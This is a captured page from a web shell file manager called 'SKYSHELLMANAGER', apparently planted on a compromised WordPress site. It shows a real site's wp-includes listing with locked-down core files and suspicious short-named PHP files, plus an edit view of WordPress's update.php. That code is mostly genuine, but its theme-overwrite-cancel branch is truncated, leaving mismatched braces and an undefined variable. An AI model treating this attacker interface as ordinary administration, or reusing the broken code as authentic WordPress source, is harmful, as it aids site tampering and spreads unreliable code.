ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.0.30

Path:root/home/godaofbq/hyperxpod.com/wp-includes/

Name	Size	Perm	Actions
📁 ID3	-	0555	🗑️ 🏷️
📁 IXR	-	0555	🗑️ 🏷️
📁 PHPMailer	-	0555	🗑️ 🏷️
📁 Requests	-	0755	🗑️ 🏷️
📁 SimplePie	-	0555	🗑️ 🏷️
📁 Text	-	0555	🗑️ 🏷️
📁 abilities-api	-	0555	🗑️ 🏷️
📁 ai-client	-	0555	🗑️ 🏷️
📁 assets	-	0555	🗑️ 🏷️
📁 block-bindings	-	0555	🗑️ 🏷️
📁 block-patterns	-	0555	🗑️ 🏷️
📁 block-supports	-	0555	🗑️ 🏷️
📁 blocks	-	0555	🗑️ 🏷️
📁 build	-	0555	🗑️ 🏷️
📁 certificates	-	0555	🗑️ 🏷️
📁 css	-	0755	🗑️ 🏷️
📁 customize	-	0755	🗑️ 🏷️
📁 fonts	-	0755	🗑️ 🏷️
📁 html-api	-	0555	🗑️ 🏷️
📁 images	-	0755	🗑️ 🏷️
📁 interactivity-api	-	0555	🗑️ 🏷️
📁 js	-	0555	🗑️ 🏷️
📁 l10n	-	0755	🗑️ 🏷️
📁 php-ai-client	-	0555	🗑️ 🏷️
📁 php-compat	-	0755	🗑️ 🏷️
📁 pomo	-	0755	🗑️ 🏷️
📁 rest-api	-	0555	🗑️ 🏷️
📁 sitemaps	-	0555	🗑️ 🏷️
📁 sodium_compat	-	0755	🗑️ 🏷️
📁 style-engine	-	0555	🗑️ 🏷️
📁 theme-compat	-	0755	🗑️ 🏷️
📁 widgets	-	0755	🗑️ 🏷️
📄 abilities-api.php	23.8 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 abilities.php	7.82 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 admin-bar.php	38.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 admin.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 bookmark-template.php	12.47 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 bookmark.php	15.29 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 cache-compat.php	10.76 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 canonical.php	34.18 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 capabilities.php	42.61 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-feed.php	0.53 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-pop3.php	20.63 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-requests.php	2.18 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-nav-menu.php	11.76 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-page-dropdown.php	2.65 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-walker-page.php	7.43 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-admin-bar.php	17.58 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-ajax-response.php	5.14 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-application-passwords.php	16.7 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-bindings-registry.php	8.07 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-editor-context.php	1.32 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-list.php	4.6 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-parser-block.php	2.5 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-pattern-categories-registry.php	4.28 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-supports.php	6.4 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-template.php	1.99 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-templates-registry.php	6.91 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-type-registry.php	4.91 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-block-type.php	16.83 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-manager.php	198.13 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-nav-menus.php	56.61 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-customize-setting.php	29.26 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-date-query.php	35.13 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-dependency.php	2.59 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-duotone.php	39.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-fatal-error-handler.php	7.96 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-feed-cache-transient.php	3.23 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-curl.php	12.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-ixr-client.php	3.43 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-requests-hooks.php	1.97 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-http-response.php	2.91 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-list-util.php	7.27 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-locale.php	16.45 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-matchesmapregex.php	1.79 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-metadata-lazyloader.php	6.67 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-navigation-fallback.php	8.98 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-network-query.php	19.25 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-network.php	12.01 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-oembed-controller.php	6.74 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-oembed.php	30.86 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-paused-extensions-storage.php	4.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-phpmailer.php	4.25 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-plugin-dependencies.php	24.59 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-post-type.php	29.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-query.php	159.73 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-recovery-mode.php	11.18 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-rewrite.php	62.2 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-scripts.php	35.93 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-session-tokens.php	7.15 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-simplepie-file.php	3.47 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-speculation-rules.php	7.38 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-styles.php	13.04 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-tax-query.php	19.12 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-taxonomy.php	18.12 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-term-query.php	39.8 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-text-diff-renderer-table.php	18.49 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json-resolver.php	34.86 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-theme-json-schema.php	7.19 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-token-map.php	27.95 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-url-pattern-prefixer.php	4.69 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-user-query.php	43.07 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-user.php	22.48 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-walker.php	13.01 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp-widget-factory.php	3.27 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 class-wp.php	26.01 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 class-wpdb.php	115.86 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 compat-utf8.php	19.1 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 connectors.php	23.52 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 cron.php	44.18 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 date.php	0.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 default-constants.php	11.35 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 default-filters.php	36.8 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 default-widgets.php	2.24 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 error-protection.php	4.25 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	63.19 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 feed-atom-comments.php	5.38 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rss2-comments.php	4.04 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 feed-rss2.php	3.71 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 fonts.php	9.94 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 formatting.php	346.87 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 functions.php	283.77 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 functions.wp-scripts.php	20.01 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 global-styles-and-settings.php	20.29 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 l10n.php	69.74 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 link-template.php	156.39 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 load.php	55.41 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 ms-default-filters.php	6.48 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ms-site.php	40.75 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 ph04g5.php	0.67 KB	0644	🗑️ 🏷️ ⬇️ ✏️
📄 post-template.php	67.01 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 post.php	289.58 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 rewrite.php	19.36 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 robots-template.php	5.06 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 rss.php	22.66 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 shortcodes.php	23.47 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 sitemaps.php	3.16 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 theme-i18n.json	1.85 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 theme-templates.php	3.96 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 vars.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 version.php	1.32 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 view-transitions.php	0.59 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 widgets.php	69.17 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	9.57 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 wp-db.php	0.43 KB	0755	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 xmlrpc.php	6.83 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 ym4pv.php	0.01 KB	0644	🗑️ 🏷️ ⬇️ ✏️

Edit: update.php

<?php
/**
 * Update/Install Plugin/Theme administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( ! defined( 'IFRAME_REQUEST' )
	&& isset( $_GET['action'] ) && in_array( $_GET['action'], array( 'update-selected', 'activate-plugin', 'update-selected-themes' ), true )
) {
	define( 'IFRAME_REQUEST', true );
}

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

wp_enqueue_script( 'wp-a11y' );

if ( isset( $_GET['action'] ) ) {
	$plugin = isset( $_REQUEST['plugin'] ) ? trim( $_REQUEST['plugin'] ) : '';
	$theme  = isset( $_REQUEST['theme'] ) ? urldecode( $_REQUEST['theme'] ) : '';
	$action = $_REQUEST['action'] ?? '';

if ( 'update-selected' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

check_admin_referer( 'bulk-update-plugins' );

if ( isset( $_GET['plugins'] ) ) {
			$plugins = explode( ',', stripslashes( $_GET['plugins'] ) );
		} elseif ( isset( $_POST['checked'] ) ) {
			$plugins = (array) $_POST['checked'];
		} else {
			$plugins = array();
		}

$plugins = array_map( 'urldecode', $plugins );

$url   = 'update.php?action=update-selected&amp;plugins=' . urlencode( implode( ',', $plugins ) );
		$nonce = 'bulk-update-plugins';

wp_enqueue_script( 'updates' );
		iframe_header();

$upgrader = new Plugin_Upgrader( new Bulk_Plugin_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
		$upgrader->bulk_upgrade( $plugins );

iframe_footer();

} elseif ( 'upgrade-plugin' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

check_admin_referer( 'upgrade-plugin_' . $plugin );

// Used in the HTML title tag.
		$title        = __( 'Update Plugin' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugins.php';

wp_enqueue_script( 'updates' );
		require_once ABSPATH . 'wp-admin/admin-header.php';

$nonce = 'upgrade-plugin_' . $plugin;
		$url   = 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin );

$upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'plugin' ) ) );
		$upgrader->upgrade( $plugin );

require_once ABSPATH . 'wp-admin/admin-footer.php';

} elseif ( 'activate-plugin' === $action ) {
		if ( ! current_user_can( 'update_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) );
		}

check_admin_referer( 'activate-plugin_' . $plugin );
		if ( ! isset( $_GET['failure'] ) && ! isset( $_GET['success'] ) ) {
			wp_redirect( admin_url( 'update.php?action=activate-plugin&failure=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) );
			activate_plugin( $plugin, '', ! empty( $_GET['networkwide'] ), true );
			wp_redirect( admin_url( 'update.php?action=activate-plugin&success=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) );
			die();
		}
		iframe_header( __( 'Plugin Reactivation' ), true );
		if ( isset( $_GET['success'] ) ) {
			echo '<p>' . __( 'Plugin reactivated successfully.' ) . '</p>';
		}

if ( isset( $_GET['failure'] ) ) {
			echo '<p>' . __( 'Plugin failed to reactivate due to a fatal error.' ) . '</p>';

error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
			ini_set( 'display_errors', true ); // Ensure that fatal errors are displayed.
			wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin );
			include WP_PLUGIN_DIR . '/' . $plugin;
		}
		iframe_footer();
	} elseif ( 'install-plugin' === $action ) {

if ( ! current_user_can( 'install_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // For plugins_api().

check_admin_referer( 'install-plugin_' . $plugin );
		$api = plugins_api(
			'plugin_information',
			array(
				'slug'   => $plugin,
				'fields' => array(
					'sections' => false,
				),
			)
		);

if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

// Used in the HTML title tag.
		$title        = __( 'Plugin Installation' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugin-install.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

/* translators: %s: Plugin name and version. */
		$title = sprintf( __( 'Installing Plugin: %s' ), $api->name . ' ' . $api->version );
		$nonce = 'install-plugin_' . $plugin;
		$url   = 'update.php?action=install-plugin&plugin=' . urlencode( $plugin );
		if ( isset( $_GET['from'] ) ) {
			$url .= '&from=' . urlencode( stripslashes( $_GET['from'] ) );
		}

$type = 'web'; // Install plugin type, From Web or an Upload.

$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) );
		$upgrader->install( $api->download_link );

require_once ABSPATH . 'wp-admin/admin-footer.php';

} elseif ( 'upload-plugin' === $action ) {

if ( ! current_user_can( 'upload_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

check_admin_referer( 'plugin-upload' );

if ( isset( $_FILES['pluginzip']['name'] ) && ! str_ends_with( strtolower( $_FILES['pluginzip']['name'] ), '.zip' ) ) {
			wp_die( __( 'Only .zip archives may be uploaded.' ) );
		}

$file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' );

// Used in the HTML title tag.
		$title        = __( 'Upload Plugin' );
		$parent_file  = 'plugins.php';
		$submenu_file = 'plugin-install.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

/* translators: %s: File name. */
		$title = sprintf( __( 'Installing plugin from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) );
		$nonce = 'plugin-upload';
		$url   = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-plugin' );
		$type  = 'upload'; // Install plugin type, From Web or an Upload.

$overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : '';
		$overwrite = in_array( $overwrite, array( 'update-plugin', 'downgrade-plugin' ), true ) ? $overwrite : '';

$upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) );
		$result   = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) );

if ( $result || is_wp_error( $result ) ) {
			$file_upload->cleanup();
		}

require_once ABSPATH . 'wp-admin/admin-footer.php';

} elseif ( 'upload-plugin-cancel-overwrite' === $action ) {
		if ( ! current_user_can( 'upload_plugins' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) );
		}

check_admin_referer( 'plugin-upload-cancel-overwrite' );

// Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die()
		// that shows a generic "Please select a file" error.
		if ( ! empty( $_GET['package'] ) ) {
			$attachment_id = (int) $_GET['package'];

if ( get_post( $attachment_id ) ) {
				$file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' );
				$file_upload->cleanup();
			}
		}

wp_redirect( self_admin_url( 'plugin-install.php' ) );
		exit;
	} elseif ( 'upgrade-theme' === $action ) {

if ( ! current_user_can( 'update_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) );
		}

check_admin_referer( 'upgrade-theme_' . $theme );

wp_enqueue_script( 'updates' );

// Used in the HTML title tag.
		$title        = __( 'Update Theme' );
		$parent_file  = 'themes.php';
		$submenu_file = 'themes.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

$nonce = 'upgrade-theme_' . $theme;
		$url   = 'update.php?action=upgrade-theme&theme=' . urlencode( $theme );

$upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'theme' ) ) );
		$upgrader->upgrade( $theme );

require_once ABSPATH . 'wp-admin/admin-footer.php';
	} elseif ( 'update-selected-themes' === $action ) {
		if ( ! current_user_can( 'update_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) );
		}

check_admin_referer( 'bulk-update-themes' );

if ( isset( $_GET['themes'] ) ) {
			$themes = explode( ',', stripslashes( $_GET['themes'] ) );
		} elseif ( isset( $_POST['checked'] ) ) {
			$themes = (array) $_POST['checked'];
		} else {
			$themes = array();
		}

$themes = array_map( 'urldecode', $themes );

$url   = 'update.php?action=update-selected-themes&amp;themes=' . urlencode( implode( ',', $themes ) );
		$nonce = 'bulk-update-themes';

wp_enqueue_script( 'updates' );
		iframe_header();

$upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( 'nonce', 'url' ) ) );
		$upgrader->bulk_upgrade( $themes );

iframe_footer();
	} elseif ( 'install-theme' === $action ) {

if ( ! current_user_can( 'install_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; // For themes_api().

check_admin_referer( 'install-theme_' . $theme );
		$api = themes_api(
			'theme_information',
			array(
				'slug'   => $theme,
				'fields' => array(
					'sections' => false,
					'tags'     => false,
				),
			)
		); // Save on a bit of bandwidth.

if ( is_wp_error( $api ) ) {
			wp_die( $api );
		}

// Used in the HTML title tag.
		$title        = __( 'Install Themes' );
		$parent_file  = 'themes.php';
		$submenu_file = 'themes.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

/* translators: %s: Theme name and version. */
		$title = sprintf( __( 'Installing Theme: %s' ), $api->name . ' ' . $api->version );
		$nonce = 'install-theme_' . $theme;
		$url   = 'update.php?action=install-theme&theme=' . urlencode( $theme );
		$type  = 'web'; // Install theme type, From Web or an Upload.

$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) );
		$upgrader->install( $api->download_link );

require_once ABSPATH . 'wp-admin/admin-footer.php';

} elseif ( 'upload-theme' === $action ) {

if ( ! current_user_can( 'upload_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

check_admin_referer( 'theme-upload' );

if ( isset( $_FILES['themezip']['name'] ) && ! str_ends_with( strtolower( $_FILES['themezip']['name'] ), '.zip' ) ) {
			wp_die( __( 'Only .zip archives may be uploaded.' ) );
		}

$file_upload = new File_Upload_Upgrader( 'themezip', 'package' );

// Used in the HTML title tag.
		$title        = __( 'Upload Theme' );
		$parent_file  = 'themes.php';
		$submenu_file = 'theme-install.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

/* translators: %s: File name. */
		$title = sprintf( __( 'Installing theme from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) );
		$nonce = 'theme-upload';
		$url   = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-theme' );
		$type  = 'upload'; // Install theme type, From Web or an Upload.

$overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : '';
		$overwrite = in_array( $overwrite, array( 'update-theme', 'downgrade-theme' ), true ) ? $overwrite : '';

$upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) );
		$result   = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) );

if ( $result || is_wp_error( $result ) ) {
			$file_upload->cleanup();
		}

require_once ABSPATH . 'wp-admin/admin-footer.php';

} elseif ( 'upload-theme-cancel-overwrite' === $action ) {
		if ( ! current_user_can( 'upload_themes' ) ) {
			wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) );
		}

check_admin_referer( 'theme-upload-cancel-overwrite' );

if ( get_post( $attachment_id ) ) {
				$file_upload = new File_Upload_Upgrader( 'themezip', 'package' );
				$file_upload->cleanup();
			}
		}

wp_redirect( self_admin_url( 'theme-install.php' ) );
		exit;
	} else {
		/**
		 * Fires when a custom plugin or theme update request is received.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the action
		 * provided in the request for wp-admin/update.php. Can be used to
		 * provide custom update functionality for themes and plugins.
		 *
		 * @since 2.8.0
		 */
		do_action( "update-custom_{$action}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	}
}

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.0.30

Edit: update.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.0.30